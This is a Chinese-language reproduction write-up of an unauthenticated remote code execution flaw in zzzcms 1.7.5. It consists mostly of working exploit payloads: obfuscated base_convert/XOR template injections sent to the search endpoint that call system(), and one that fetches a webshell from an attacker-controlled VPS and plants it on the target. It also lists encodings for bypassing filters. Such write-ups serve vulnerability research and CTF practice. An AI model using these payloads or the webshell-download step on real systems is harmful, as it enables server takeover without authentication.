(环境搭建+复现)zzzcmsV1.7.5前台RCE

0x00 简介

zzzcms是一款PHP语言开发的免费建站系统,以简单易上手的标签、安全的系统内核、良好的用户体验为特点,是站长建站的最佳选择。

0x01 漏洞概述

ZZZCMS一处远程代码执行漏洞。由于某些函数存在过滤不严格，攻击者通过构造恶意请求，可在无需登录的情况下执行任意代码，控制服务器。

0x02 影响版本

ZZZCMS 1.7.5

0x03 环境搭建

1、下载ZZZCMS 1.7.5

链接：https://pan.baidu.com/s/1uJ81idkgE38317F5jazeyg 
提取码：7aw1 

2、使用phpstudy进行搭建。

0x04 漏洞利用

1、执行chdir命令

POST http://192.168.0.3/zzzphp_jb51/search/ HTTP/1.1

keys={if:array_map(base_convert(1751504350,10,36),array(base_convert(20966067,10,36)))}{end if}

进制转换工具：https://www.qtool.net/hex

3、search目录下生成1.php木马文件。

①首先先在vps上创建一个名为1的木马。

②然后再开启web服务，让目标主机去copy这个马。

keys={if:array_map(base_convert(591910,10,36),array(base_convert(831805,10,36).(base_convert(14,10,36)^base_convert(1,10,36)^base_convert(23,10,36)).(base_convert(25,10,36)^base_convert(1,10,36)^base_convert(23,10,36)).(base_convert(25,10,36)^base_convert(1,10,36)^base_convert(23,10,36)).(47).(base_convert(26,10,36)^base_convert(1,10,36)^base_convert(23,10,36)).(101).(base_convert(26,10,36)^base_convert(1,10,36)^base_convert(23,10,36)).(72).(base_convert(26,10,36)^base_convert(1,10,36)^base_convert(23,10,36)).(112).(base_convert(25,10,36)^base_convert(1,10,36)^base_convert(23,10,36)).(base_convert(1,10,36))),array((base_convert(1,10,36)).(base_convert(26,10,36)^base_convert(1,10,36)^base_convert(23,10,36)).(base_convert(33037,10,36))))}{end if}

4、连接即可。

0x05 修复方式

升级至最新版本。

http://115.29.55.18/zzzphp.zip

0x06 Tips：

常用字符

空格 (base_convert(19,10,36)^base_convert(28,10,36)^base_convert(9,10,36))
/ (base_convert(25,10,36)^base_convert(1,10,36)^base_convert(23,10,36))
: (base_convert(14,10,36)^base_convert(1,10,36)^base_convert(23,10,36))
. (base_convert(26,10,36)^base_convert(1,10,36)^base_convert(23,10,36))
phpinfo: base_convert(55490343972,10,36)
system: base_convert(1751504350,10,36)
ls : base_convert(784,10,36)
cat: base_convert(15941,10,36)
flag: base_convert(727432,10,36)

过滤的函数

Referer:

1、https://www.anquanke.com/post/id/212272

2、https://threezh1.com/2020/11/21/2020%20%E7%A5%A5%E4%BA%91%E6%9D%AF%20Web%20Writeup